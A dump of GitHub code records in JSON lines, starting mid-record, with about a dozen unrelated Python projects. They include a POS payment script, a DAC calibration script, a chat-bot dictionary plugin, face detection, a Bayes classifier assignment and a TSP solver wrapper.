(currentPizza + pizzaSum) <= maximumTotalPizzas:\n                result.insert(0, j)\n                pizzaSum += currentPizza\n\n    createSubmission(result, inputFileName)\n\ndef createSubmission(answer, inputFileName):\n    with open(f'./{inputFileName[3]}_submission.in', 'w') as outputFile:\n        outputFile.write(f\"{len(answer)} \\n\")\n        for i in answer:\n            outputFile.write(str(i) + \" \")\n\nmain()\n","repo_name":"RinwaOwuogba/hashcode_2020","sub_path":"practice_round/Bola/practice_problem.py","file_name":"practice_problem.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37463181335","text":"import os, clr, re\nimport json as jsn\nfrom .db.sqlite import SqliteDb\nfrom gui_for_message import tk_gui\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n# Load asanpardakht dll\nclr.AddReference(\"module/pos_pec_PosInterface\")\nfrom PosInterface import PCPos\nfrom System import DateTime\n\ndef asanp(doch_id, price_to_send):\n    pcpos = PCPos(int(os.getenv('ASAN-P_DEVICE_PORT')))\n    pcpos.InitLAN(os.getenv('ASAN-P_DEVICE_IP'))\n\n    # Get last sent-pay\n    sqlite = SqliteDb()\n    sqlite.execute('''\n        SELECT * FROM pay ORDER BY rowid DESC;\n        ''')\n    last_pay_record_id = sqlite.fetchone()\n\n    # Remove TransAction - if removed\n    if last_pay_record_id[0] > doch_id:\n        sqlite.execute('''\n            DELETE FROM Pay WHERE id='{}';\n            '''.format(last_pay_record_id[0]))\n        sqlite.commit()\n        # Close sqlite connection\n        sqlite.close()\n    # Do a new TransAction if it's a new\n    elif last_pay_record_id[0] < doch_id:\n        def do_trans_action():\n            # price, empty, doc_id, time\n            send_request = pcpos.DoSyncPayment(\n                str(price_to_send), \"\", str(doch_id), DateTime.Now)\n            response = str(send_request)\n            end_result = re.split('= |;', response)\n            return end_result\n\n        # For cancell TransAction\n        not_done = True\n\n        def abort_pay():\n            global not_done\n            not_done = False\n\n        result = do_trans_action()\n        while not_done:\n            print(result)\n            print(result[1])\n            if result[1] == '0':\n                print(result[0]+': '+result[1])\n                print(result[3])\n                abort_pay()\n            else:\n                # Create Json Result\n                json_text = '{ \"PcPosStatusCode\":\"'+result[1]+'\", \"PcPosStatus\":\"' + \\\n                    'فعال'+'\", \"ResponseCodeMessage\":\"' + \\\n                    result[3]+'\"}'\n                AsanP_json = jsn.loads(json_text)\n\n                # Show Message\n                AsanP_gui = tk_gui()\n                AsanP_gui.show_message(\n                    do_trans_action, abort_pay, AsanP_json, 'آپ')\n\n        # Save result in sqlite pay table\n        sqlite.execute('''\n            INSERT INTO pay(\n                id, price, status\n            )VALUES(\n                {}, {}, {}\n            )\n            '''.format(doch_id, price_to_send, result[1]))\n        sqlite.commit()\n\n        # Close sqlite connection\n        sqlite.close()\n","repo_name":"jvdi/rahkar-pcpos","sub_path":"pos_asanp.py","file_name":"pos_asanp.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32573713596","text":"#uSMU calibration script\n#Written by rbrenes 20220218\n\nimport serial\nimport numpy as np\nfrom time import sleep\nfrom scipy import stats\n\n'''\nDAC values must be ints, so I'm flooring the array. \nCould use np.arange, but this works fine for setting a small-ish set of numbers over a large range. Definitely fails over a smaller range since it can create duplicates\n'''\n\ndac_val = np.linspace(0,65536,num=100,dtype= int)\n\nlist_ports = False\n\nif list_ports:\n\timport serial.tools.list_ports\n\tports = serial.tools.list_ports.comports()\n\n\tfor port, desc, hwid in sorted(ports):\n        \tprint(\"{}: {} [{}]\".format(port, desc, hwid))\n\n#instance Serial and set baudrate and port\nser = serial.Serial()\nser.baudrate = 115200\n\n#change port with whatever is the port that your device is at\nser.port = '/dev/cu.usbmodem2051395C4D521'\n#ser.port = 'COM8'\n\n#/dev/cu.usbmodem206A3083544E1\n\nser.open()\n\n#Enable SMU output\nser.write(b'CH1:ENA')\n\n#loop over dac values and read voltage from Keithley\nfor val in dac_val:\n    #must turn string into bytes, hence the use of encode\n\tser.write('DAC {:d}'.format(val).encode())\n\t# wait 50ms for value to settle\n\tsleep(0.05)\n\n\t#read voltage from Keithley\n\n#disable SMU output\nser.write(b'CH1:DIS')\n\n#calculate slope and intercept through a linear regression\nres = stats.linregress(dac_val,volts)\n\nprint('Slope: {:.1f}; std dev {:.1f}:'.format(res.slope,res.slope_stderr))\nprint('Intercept: {:d}; std dev {:d}:'.format(res.intercept,res.intercept_stderr))\n\n#write the calibration data to the SMU\nser.write('CAL:DAC {:.1f} {:d}'.format(res.slope,res.intercept).encode())\n#reboot the SMU\nser.write(b'*RST')\n\n\n#close connection to uSMU\nser.close()","repo_name":"rbrenesh/SMUCalibration","sub_path":"DACCalibrate.py","file_name":"DACCalibrate.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37422817890","text":"import json\nimport urllib.request\nimport urllib.parse\n\nfrom errbot import botcmd\nfrom errbot import BotPlugin\n\n\nclass UrbanDictionary(BotPlugin):\n\n    api_url = 'https://api.urbandictionary.com/v0'\n    search_url_template = api_url + '/define?term={0}'\n    random_term_url = api_url + '/random'\n\n    @botcmd\n    def ud(self, msg, args):\n        \"\"\"Looks up a term on urban dictionary\"\"\"\n\n        if not args:\n            # Get random definitions if no term is provided\n            definitions = self.get_json(self.random_term_url)\n        else:\n            # Otherwise, get the definitions of the search term\n            escaped_term = urllib.parse.quote(args)\n            search_url = self.search_url_template.format(escaped_term)\n            definitions = self.get_json(search_url)\n\n            if not definitions['list']:\n                return 'No such term: {0}!'.format(args)\n\n        best_definition = definitions['list'][0]\n        card_fields = self.format_definition_card(best_definition)\n        self.send_card(in_reply_to=msg, **card_fields)\n\n    @staticmethod\n    def get_json(url):\n        \"\"\"Fetch a URL returning JSON, and return it as a dict.\"\"\"\n        with urllib.request.urlopen(url) as api_response:\n            api_response_text = api_response.read().decode('utf8')\n        return json.loads(api_response_text)\n\n    @staticmethod\n    def format_definition_card(definition):\n        \"\"\"Formats a definition JSON from Urban Dictionary into a dictionary\n        containing the keyword arguments for `BotPlugin.send_card()`.\n        \"\"\"\n        definition_text = definition['definition'].replace('[', '').replace(']', '')\n        return {\n            'title': definition['word'],\n            'body': '\\n\\n'.join([definition_text, definition['example']]),\n            'link': definition['permalink'],\n            'fields': (\n                ('thumbs_up', definition.get('thumbs_up', 0)),\n                ('thumbs_down', definition.get('thumbs_down', 0)),\n            )\n        }\n","repo_name":"samueldg/err-urban-dictionary","sub_path":"urbandict.py","file_name":"urbandict.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"843606161","text":"# Face detection\nimport cv2 as cv\n\n\nface_cascade = cv.CascadeClassifier('resources_01/haarcascade_frontalface_default.xml')\nimg = cv.imread(\"resources_01/image.png\")\n# img = cv.resize(img, (200, 275)) # resizing the image\n# print(img.shape)\ngray_img = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\nfaces = face_cascade.detectMultiScale(gray_img, 1.1, 4)\n\n#draw a rectangle\nfor (x, y, w, h) in faces:\n    cv.rectangle(img, (x,y), (x+w, y+h), (255,0,0),2)\n\n\ncv.imshow(\"image\", img)\ncv.waitKey(0)\ncv.destroyAllWindows()","repo_name":"ibadurrehman2112/IbadUrRehman_assignment","sub_path":"open_cv_examples/face_detect.py","file_name":"face_detect.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21215280225","text":"n = int(input())\nplants = {}\nfor _ in range(n):\n    information = input().split(\"<->\")\n    plant_name = information[0]\n    plant_rarity = int(information[1])\n    plants[plant_name] = {\"plant_rarity\": plant_rarity, \"rating\": []}\ncommand = input().split(\": \")\nwhile command[0] != \"Exhibition\":\n    if command[0] == \"Rate\":\n        plant, rating = command[1].split(\" - \")\n        rating = int(rating)\n        if plant in plants:\n            plants[plant][\"rating\"].append(rating)\n        else:\n            print(\"error\")\n    elif command[0] == \"Update\":\n        plant, new_rarity = command[1].split(\" - \")\n        new_rarity = int(new_rarity)\n        if plant in plants:\n            plants[plant][\"plant_rarity\"] = new_rarity\n        else:\n            print(\"error\")\n    elif command[0] == \"Reset\":\n        plant = command[1]\n        if plant in plants:\n            plants[plant][\"rating\"] = []\n        else:\n            print(\"error\")\n    command = input().split(\": \")\nfor pl in plants.items():\n    name = pl[0]\n    if plants[name][\"rating\"]:\n        avg_rating = sum(plants[name][\"rating\"]) / (len(plants[name][\"rating\"]))\n        plants[name][\"rating\"] = avg_rating\n    else:\n        plants[name][\"rating\"] = 0\nplants_final = sorted(plants.items(), key=lambda kvp: (kvp[1][\"plant_rarity\"], kvp[1][\"rating\"]), reverse=True)\nprint(\"Plants for the exhibition:\")\nfor p in plants_final:\n    plant_name = p[0]\n    rarity = int(p[1]['plant_rarity'])\n    rating = float(p[1][\"rating\"])\n    print(f\"- {plant_name}; Rarity: {rarity}; Rating: {rating:.2f}\")","repo_name":"Tsveti1103/Python-Fundamentals","sub_path":"fund_exam_preparation/plant_discovery.py","file_name":"plant_discovery.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"25589967952","text":"import pandas\nimport datetime\ndef acceptance (pr):\n\n    accept = 1\n\n    # checking ean\n    if   ('product_ean' not in pr.keys() ) :\n        #print(f\"          строка  ( {pr['name_ru-RU']}) не принята, ошибка в номере сертификата \")\n        not_accepted_error='ошибка в номере сертификата'\n        accept = 0\n    elif pr['product_ean'] == 'nan':\n            print(f\"          строка  ( {pr['name_ru-RU']}) не принята, ошибка в номере сертификата \")\n            accept = 0\n\n\n    # checking category_id  (vid)\n    if   ( pr['category_id'] == -1 ) :\n        not_accepted_error = 'ошибка в виде контроля'\n        #print(f\"          строка  ( {pr['name_ru-RU']}, {pr['product_ean']}) не принята, ошибка в виде контроля \")\n        accept = 0\n\n    # checking vendor_id  (status)\n    if (pr['vendor_id'] == -1):\n        not_accepted_error = 'ошибка в статусе'\n        accept = 0\n\n\n\n    # checking manufacturer_id  (level)\n    if   ( 'product_manufacturer_id' not in pr.keys() ) :\n        not_accepted_error = 'ошибка в уровне квалификации'\n        #print(f\"          строка  ( {pr['name_ru-RU']}) не принята, ошибка в уровне квалификации \")\n        accept = 0\n    elif pr['product_manufacturer_id'] == 'nan':\n            #print(f\"          строка  ( {pr['name_ru-RU']}) не принята, ошибка в уровне квалификации \")\n            accept = 0\n\n    # checking expire\n    if  (pr['manufacturer_code']==-1):\n        #print(f\"          строка  ( {pr['name_ru-RU']}) не принята, ошибка в дате сертификата \")\n        not_accepted_error = 'ошибка в дате сертификата'\n        accept = 0\n\n    if accept == 0:\n        with open(\"not_accepted.txt\", \"a\") as file:\n            file.write(f\" {pr['name_ru-RU']} не принята, {not_accepted_error}   \\n\")\n\n\n\n    expiry = pr['manufacturer_code']\n    if isinstance(expiry, str):\n        index = expiry.rfind('.') + 1\n        year = int(expiry[index:])\n        if year<2022:\n            not_accepted_error = ''\n            #not_accepted_error = 'год сертификата <2022'\n            #print(f\"          строка  ( {pr['name_ru-RU']}) не принята, год сертификата <2022 \")\n            accept = 0\n\n\n    return accept\n\n","repo_name":"projectcont/sertif-nk","sub_path":"excel/acceptance_.py","file_name":"acceptance_.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39375650451","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .block_utils import *\nfrom .normalization import adaptive_instance_normalize\n\n# https://cs.stanford.edu/people/jcjohns/papers/fast-style/fast-style-supp.pdf\n# all batch norm replaced by instance norm\n\n\nclass ResidualBlock(nn.Module):\n    # residual block with instance norm\n\n    def __init__(self, in_channel, out_channel, kernel_size=3):\n        super(ResidualBlock, self).__init__()\n\n        self.in_channel = in_channel\n        self.out_channel = out_channel\n        self.kernel_size = kernel_size\n\n        # right\n        self.conv_r1 = get_conv_layer(in_channel, in_channel, kernel_size, spectral_norm=True)\n        self.in1 = get_norm_layer(in_channel, 'instance_norm', affine=True)\n        self.conv_r2 = get_conv_layer(in_channel, out_channel, kernel_size, spectral_norm=True)\n        self.in2 = get_norm_layer(out_channel, 'instance_norm', affine=True)\n\n    def forward(self, x):\n        # left\n        left = x\n\n        # right\n        right = self.conv_r1(x)\n        right = self.in1(right)\n        right = F.relu(right, inplace=False)\n        right = self.conv_r2(right)\n        right = self.in2(right)\n\n        output = left + right\n        return output\n\n\nclass ResidualBlockAdaIN(nn.Module):\n    # residual block with adaptive instance norm\n\n    def __init__(self, in_channel, out_channel, kernel_size=3):\n        super(ResidualBlockAdaIN, self).__init__()\n\n        self.in_channel = in_channel\n        self.out_channel = out_channel\n        self.kernel_size = kernel_size\n\n        # right\n        self.conv_r1 = get_conv_layer(in_channel, in_channel, kernel_size, spectral_norm=True)\n        self.conv_r2 = get_conv_layer(in_channel, out_channel, kernel_size, spectral_norm=True)\n\n    def forward(self, x, sigma_1, mu_1, sigma_2, mu_2):\n        # left\n        left = x\n\n        # right\n        right = self.conv_r1(x)\n        right = adaptive_instance_normalize(right, sigma_1, mu_1)\n        right = F.relu(right, inplace=False)\n        right = self.conv_r2(right)\n        right = adaptive_instance_normalize(right, sigma_2, mu_2)\n\n        output = left + right\n        return output\n","repo_name":"bowen-xiao96/reenact","sub_path":"human/model/block/perceptual_loss.py","file_name":"perceptual_loss.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"29554707768","text":"'''\ndef dfs(length,graph,visited,start,path):\n    path.append(start)\n    if len(path) == length+1:\n        return path\n    \n    for goal in graph[start]:\n        if not visited[(start,goal)]:\n            visited[(start,goal)] = True\n            path = dfs(length,graph,visited,goal,path)\n        \n    return path\n    \n\ndef solution(tickets):\n    length = len(tickets)\n    graph = {}\n    visited = {}\n    \n    for ticket in tickets:\n        if ticket[0] not in graph.keys():\n            graph[ticket[0]] = [ticket[1]]\n        else:\n            graph[ticket[0]].append(ticket[1])\n        graph[ticket[0]].sort()\n        visited[(ticket[0],ticket[1])] = False\n    \n    path = []\n            \n    return dfs(length,graph,visited,\"ICN\",path)\n\n첫번째 시도. 재귀 호출은 잘 되나 런타임에러.\n알고보니 같은 티켓이 있는 경우를 안빼준거였다.\n'''\n\n'''\n백트래킹을 사용할 줄 몰라 tickets를 pop했는데도 문제가 해결되지않았다.\n막다른 공항으로 다다랐을때는 다시 재귀를 취소하고 뒤로 돌아와야한다.\n\ndef dfs(length,graph,tickets,start,path):\n    path.append(start)\n    if not tickets:\n        return path\n    \n    for goal in graph[start]:\n        if [start,goal] in tickets:\n            tickets.remove([start,goal])\n            path = dfs(length,graph,tickets,goal,path)\n    return path\n    \n\ndef solution(tickets):\n    length = len(tickets)\n    graph = {}\n    \n    for ticket in tickets:\n        if ticket[0] not in graph.keys():\n            graph[ticket[0]] = [ticket[1]]\n        else:\n            graph[ticket[0]].append(ticket[1])\n        graph[ticket[0]].sort()\n    \n    path = dfs(length,graph,tickets,\"ICN\",[])\n    print(path)\n    return path\n\n ex) 테스트케이스 예시\n\n       티켓 : [[\"ICN\", \"COO\"], [\"ICN\", \"BOO\"], [\"COO\", \"ICN\"], [\"BOO\", \"DOO\"]]\n\n       return : [\"ICN\", \"COO\", \"ICN\", \"BOO\", \"DOO\"]\n'''\n\n# 참고할만한 코드\ndef dfs(graph,length,path,here):\n    path.append(here)\n    if len(path) == length+1: # 모든 티켓을 다쓴 길이만큼 이동하면 종료\n        return True\n    \n    if here not in graph.keys():\n        # 티켓이 남았고 공항에 도착했는데 다른곳으로 나갈 티켓이 없으면 잘못들어왔다는 이야기\n        # 따라서 이 공항으로 오면 안된다. 경로를 취소하고(pop) False를 반환해 이 길이 잘못되었다는 것을 알려준다.\n        path.pop()\n        return False\n    \n    # 이 공항에서 갈 수 있는 공항 갯수만큼 다 시도해본다.\n    for i in range(len(graph[here])):\n        # backtracking 개념\n        # 티켓을 사용하였으나(pop) 혹시 다시 돌아와야 하면 티켓사용을 취소(insert)할 것이다\n        # there은 마지막으로사용한 티켓을 빼돌려두는 변수이다\n        there = graph[here].pop()\n        \n        # 만약 갔는데 올바른 경로라면 True를 전달해 쭉 재귀문을 탈출한다\n        if dfs(graph,length, path, there):\n            return True\n        # 갔는데 올바른 경로가 아니라면 다시 돌아와 티켓사용을 취소하고 빼돌려둔 티켓을 다시 추가시킨다.\n        graph[here].insert(0, there)\n    \n    # 이 공항에서 갈수 있는곳을 다 가봤는데 다 막다른길이 나온다면 잘못들어왔다는 이야기\n    # 따라서 이 공항으로 온 것을 취소하고 다시 원래 있던 곳으로 돌아간다.\n    path.pop()\n    return False\n    \n\ndef solution(tickets):\n    routes = dict()\n\n    for (start, end) in tickets:\n        routes[start] = routes.get(start, []) + [end]  \n    \n    for r in routes.keys():\n        routes[r].sort(reverse=True)\n    \n    N = len(tickets)\n    path = []\n    \n    if dfs(routes, N, path, \"ICN\"):\n        answer = path            \n        \n    return answer","repo_name":"SeongIkKim/ALtudy","sub_path":"Programers/03.DFS&BFS/flying_path.py","file_name":"flying_path.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41159147266","text":"import bysy;\n\nimport codecs;\nimport os;\nimport sys;\n\nfrom setuptools import find_packages, setup;\n\nwith open(\"README.md\", \"r\") as fh:\n\tlong_description = fh.read();\n\nsetup(\n\t\tname=\"bysy\",\n\t\tversion=\"1.2\",\n\t\tdescription=\"Self-management time logging tool\",\n\t\tlong_description=long_description,\n\t\tlong_description_content_type=\"text/markdown\",\n\t\turl=\"https://github.com/Godje/bysy\",\n\t\tauthor=\"Daniel Mayovskiy\",\n\t\tauthor_email=\"daniel.mayovskiy@gmail.com\",\n\t\tlicense=\"MPL 2.0\",\n\t\tpackages=[\"bysy\"],\n\t\tkeywords=[\"time\", \"logging\", \"management\"],\n\t\tzip_safe=False,\n\t\tentry_points={\"console_scripts\": [\"bysy=bysy.__main__:main\"]},\n\t\tinclude_package_data=True,\n\t\tclassifiers=[\n\t\t\t\"Development Status :: 5 - Production/Stable\",\n\t\t\t\"Environment :: Console\",\n\t\t\t\"Intended Audience :: Developers\",\n\t\t\t# \"License :: Mozilla Public License 2.0 (MPL 2.0)\",\n\t\t\t\"Programming Language :: Python :: 2.7\",\n\t\t\t\"Topic :: Utilities\"\n\t\t\t]\n\t\t);\n","repo_name":"Godje/bysy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"42310937941","text":"### In order to run this code all you need to do is go to the bottom of the code and call the function bayes_classifier. It takes in the following arguments:\n# \"Train\" = Path to the training data\n# \"eval_data\" = Path to the dataset you want to evaluate.\n# \"question\" = int 1-5, for the scenario you want to run (If you want to change the features for 5 you will need to change some of the code internally to pick the correct features.)\n# \"d\" = Number of dimensions (should always be = 8)\n\nimport numpy as np\nfrom sklearn.metrics import confusion_matrix\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ndef bayes_classifier(train, eval_data, question, d):\n# The variable X will be known as the feature matrix. Each row will be one feature vector.\n    X = np.genfromtxt(train, skip_header=1, usecols=[1,2,3,4,5,6,7,8])\n    X_lab = np.genfromtxt(train, dtype=str, skip_header=1, usecols=0)\n    X_labu = np.unique(X_lab)\n# 'classes' variable is the number of possible classes.\n    classes = 10\n# 'd' is the number of dimensions.\n    RMS = np.sqrt(np.mean(X**2, axis=0))\n    eval_dat = np.genfromtxt(eval_data, skip_header=1, usecols=[1,2,3,4,5,6,7,8])\n    eval_dat = eval_dat/RMS\n    eval_lab = np.genfromtxt(eval_data, dtype=str, skip_header=1, usecols=0)\n    X = X/RMS\n\n\n    class_arr = []\n    for i in range(classes):\n        class_arr.append(X[i*10: (i+1)*10,:])\n    \n    class_arr = np.array(class_arr)\n\n    # Class arr contains the 10 arrays with the shape (row, cols), (10, 8). There are 10 samples (rows) per class and there are 8 features (Columns) per class.\n\n    # mu is the average value of each feature for each class. (10x8 array, 10 classes x 8 features)\n    mu = np.mean(class_arr, axis=1)\n\n    \n    \n    ## Here is where I use the identity matrix as the covariance matrix.\n    \n    \n    \n    if question == 1:\n        Cov_mat = np.identity(d)\n        results = []\n        for i in np.arange(eval_dat.shape[0]):\n            g = []\n            for j in np.arange(classes):\n                xi = eval_dat[i, np.newaxis]\n                mu_j = mu[j, np.newaxis]\n                delta = xi - mu_j\n                deter = np.linalg.det(Cov_mat)\n                Cov_inv = np.linalg.inv(Cov_mat)\n                discrim = (-1/2)*np.matmul(delta, np.matmul(Cov_inv, delta.T)) - (1/2)*np.log(deter)\n                g.append(discrim)\n            pick = X_labu[np.argmax(g)]\n            results.append(pick)\n        results = np.array(results, ndmin=2).transpose()\n        \n    \n    \n    \n    \n    ## Here is the portion of code that uses the average covariance matrix.\n    \n    \n    if question == 2:\n        Cov_mat = []\n        for i in range(classes):\n            Cov_mat.append(np.cov(class_arr[i,:,:], rowvar=False))\n        Cov_mat = np.array(Cov_mat).mean(axis=0)\n        results = []\n        for i in np.arange(eval_dat.shape[0]):\n            g = []\n            for j in np.arange(classes):\n                xi = eval_dat[i, np.newaxis]\n                mu_j = mu[j, np.newaxis]\n                delta = xi - mu_j\n                deter = np.linalg.det(Cov_mat)\n                Cov_inv = np.linalg.inv(Cov_mat)\n                discrim = (-1/2)*np.matmul(delta, np.matmul(Cov_inv, delta.T)) - (1/2)*np.log(deter)\n                g.append(discrim)\n            pick = X_labu[np.argmax(g)]\n            results.append(pick)\n        results = np.array(results, ndmin=2).transpose()\n        \n\n    \n   \n    \n    # This portion of code is for when we use the individual covariance matrices for each class.\n    \n    \n    \n    if question == 3:\n        Cov_mat = []\n        for i in range(classes):\n            Cov_mat.append(np.cov(class_arr[i,:,:], rowvar=False))\n        Cov_mat = np.array(Cov_mat)\n        \n        results = []\n        for i in np.arange(eval_dat.shape[0]):\n            g = []\n            for j in np.arange(classes):\n                xi = eval_dat[i,:, np.newaxis]\n                mu_j = mu[j,:,np.newaxis]\n                delta = xi - mu_j\n                deter = np.linalg.det(Cov_mat[j,:,:])\n                Cov_inv = np.linalg.inv(Cov_mat[j,:,:])\n                discrim = (-1/2)*np.matmul(delta.T, np.matmul(Cov_inv, delta)) - (1/2)*np.log(deter)\n                g.append(discrim)\n            pick = X_labu[np.argmax(g)]\n            results.append(pick)\n        results = np.array(results, ndmin=2).transpose()\n    \n    \n    \n    \n   ## This portion of the code is for when we only use the first 4 features in the training set. \n    \n    \n    if question == 4:\n        Cov_mat = []\n        for i in range(classes):\n            Cov_mat.append(np.cov(class_arr[i,:,0:4], rowvar=False))\n        Cov_mat = np.array(Cov_mat)\n        results = []\n        print(mu[:,0:4, np.newaxis])\n        for i in np.arange(eval_dat.shape[0]):\n            g = []\n            for j in np.arange(classes):\n                xi = eval_dat[i,0:4, np.newaxis]\n                mu_j = mu[j,0:4,np.newaxis]\n                delta = xi - mu_j\n                deter = np.linalg.det(Cov_mat[j,:,0:4])\n                Cov_inv = np.linalg.inv(Cov_mat[j,:,0:4])\n                discrim = (-1/2)*np.matmul(delta.T, np.matmul(Cov_inv, delta)) - (1/2)*np.log(deter)\n                g.append(discrim)\n            \n            pick = X_labu[np.argmax(g)]\n            results.append(pick)\n        results = np.array(results, ndmin=2).transpose()\n        \n    \n    \n## This next code is for the graduate student portion. I decided to use the features Mu11 and Mu30.     \n    \n    \n    if question == 5:\n        Cov_mat = []\n        for i in range(classes):\n            Cov_mat.append(np.cov(class_arr[i,:,5::2], rowvar=False))\n        Cov_mat = np.array(Cov_mat)\n        results = []\n        for i in np.arange(eval_dat.shape[0]):\n            g = []\n            for j in np.arange(classes):\n                xi = eval_dat[i,5::2, np.newaxis]\n                mu_j = mu[j,5::2,np.newaxis]\n                delta = xi - mu_j\n                deter = np.linalg.det(Cov_mat[j,:])\n                Cov_inv = np.linalg.inv(Cov_mat[j,:])\n                discrim = (-1/2)*np.matmul(delta.T, np.matmul(Cov_inv, delta)) - (1/2)*np.log(deter)\n                g.append(discrim)\n            \n            pick = X_labu[np.argmax(g)]\n            results.append(pick)\n        results = np.array(results, ndmin=2).transpose()\n\n\n   \n    \n    confus = confusion_matrix(eval_lab, results, labels=X_labu)\n\n    error_II =  np.array(np.sum(confus, axis=0) - np.diagonal(confus), ndmin=2)\n    error_I = np.array(np.sum(confus, axis=1) - np.diagonal(confus), ndmin=2)\n\n    error_I = np.array(np.append(error_I, [0]), ndmin=2)\n\n\n    confus = np.append(confus, error_II, axis=0)\n    confus = np.append(confus, error_I.T, axis=1)\n    accuracy = np.sum(np.diagonal(confus)) / eval_dat.shape[0]\n\n\n## Plot results\n    \n    \n    plt.rcParams['xtick.bottom'] = plt.rcParams['xtick.labelbottom'] = False\n    plt.rcParams['xtick.top'] = plt.rcParams['xtick.labeltop'] = True\n    ax = sns.heatmap(confus, vmax=eval_dat.shape[0]/classes, xticklabels=np.append(X_labu, ('Error I')),            yticklabels=np.append(X_labu, ('Error II')), cbar=False, linewidths=1, linecolor='black', cmap='Blues', annot=True)\n    ax.set_xlabel('Decision')\n    ax.xaxis.set_label_position('top')\n    ax.set_ylabel('Input')\n    ax.text(0, -0.1, 'Accuracy = {:.2f}%'.format(accuracy*100),\n            horizontalalignment='left',\n            verticalalignment='top',\n            transform=ax.transAxes)\n    ax.text(0.8, -0.1, 'Error = {:.2f}%'.format((1-accuracy)*100),\n            horizontalalignment='left',\n            verticalalignment='top',\n            transform=ax.transAxes)\n    return ax\n\n\n# In order to run the program, you need to use the 'bayes_classifier' function. It takes in the trainingdat.txt, eval set, the situation you want to run (int from 1-5), and the dimensions (8 in this case)\nbayes_classifier('traindat.txt', 'eval2dat.txt', 5, 8)\n\n\n\n\n#print(1/((2*np.pi)**(d/2))*deter**(1/2))\n\n# xi = np.array(eval_dat[0,:], ndmin=2)\n# mu1 = np.array(mu[0,:], ndmin=2)\n#\n# print((xi - mu1).shape)\n# print(np.linalg.inv(Cov_mat[0,:,:]).shape)\n# term1 = np.matmul((xi - mu1),np.linalg.inv(Cov_mat[0,:,:]))\n# print(np.matmul(term1, np.transpose(xi - mu1)))\n","repo_name":"snowbrdtw16/Pattern-Recognition","sub_path":"project2_TW.py","file_name":"project2_TW.py","file_ext":"py","file_size_in_byte":8186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33857212206","text":"import ctypes\nimport networkx as nx\nimport numpy as np\nimport os\nimport sys\n\nclass Tsp2dLib(object):\n\n    def __init__(self, args):\n        dir_path = os.path.dirname(os.path.realpath(__file__))        \n        self.lib = ctypes.CDLL('%s/build/dll/libtsp2d.so' % dir_path)\n\n        self.lib.Fit.restype = ctypes.c_double\n        self.lib.Test.restype = ctypes.c_double\n        self.lib.GetSol.restype = ctypes.c_double\n        arr = (ctypes.c_char_p * len(args))()\n        arr[:] = args\n        self.lib.Init(len(args), arr)\n        self.ngraph_train = 0\n        self.ngraph_test = 0\n\n    def __CtypeNetworkX(self, g):\n        coors = nx.get_node_attributes(g, 'pos')\n        n = len(coors)\n        coor_x = (ctypes.c_double * n)()\n        coor_y = (ctypes.c_double * n)()\n\n        for i in range(n):\n            coor_x[i], coor_y[i] = coors[i]\n            \n        return (n, ctypes.cast(coor_x, ctypes.c_void_p), ctypes.cast(coor_y, ctypes.c_void_p)) \n\n    def TakeSnapshot(self):\n        self.lib.UpdateSnapshot()\n\n    def ClearTrainGraphs(self):\n        self.ngraph_train = 0\n        self.lib.ClearTrainGraphs()\n\n    def InsertGraph(self, g, is_test):\n        n_nodes, coor_x, coor_y = self.__CtypeNetworkX(g)\n        if is_test:\n            t = self.ngraph_test\n            self.ngraph_test += 1\n        else:\n            t = self.ngraph_train\n            self.ngraph_train += 1\n\n        self.lib.InsertGraph(is_test, t, n_nodes, coor_x, coor_y)\n    \n    def LoadModel(self, path_to_model):\n        p = ctypes.cast(path_to_model, ctypes.c_char_p)\n        self.lib.LoadModel(p)\n\n    def SaveModel(self, path_to_model):\n        p = ctypes.cast(path_to_model, ctypes.c_char_p)\n        self.lib.SaveModel(p)\n\n    def GetSol(self, gid, maxn):\n        sol = (ctypes.c_int * (maxn + 10))()\n        val = self.lib.GetSol(gid, sol)\n        return val, sol\n\nif __name__ == '__main__':\n    f = Tsp2dLib(sys.argv)\n","repo_name":"Hanjun-Dai/graph_comb_opt","sub_path":"code/s2v_tsp2d/tsp2d_lib/tsp2d_lib.py","file_name":"tsp2d_lib.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":454,"dataset":"github-code","pt":"3"}
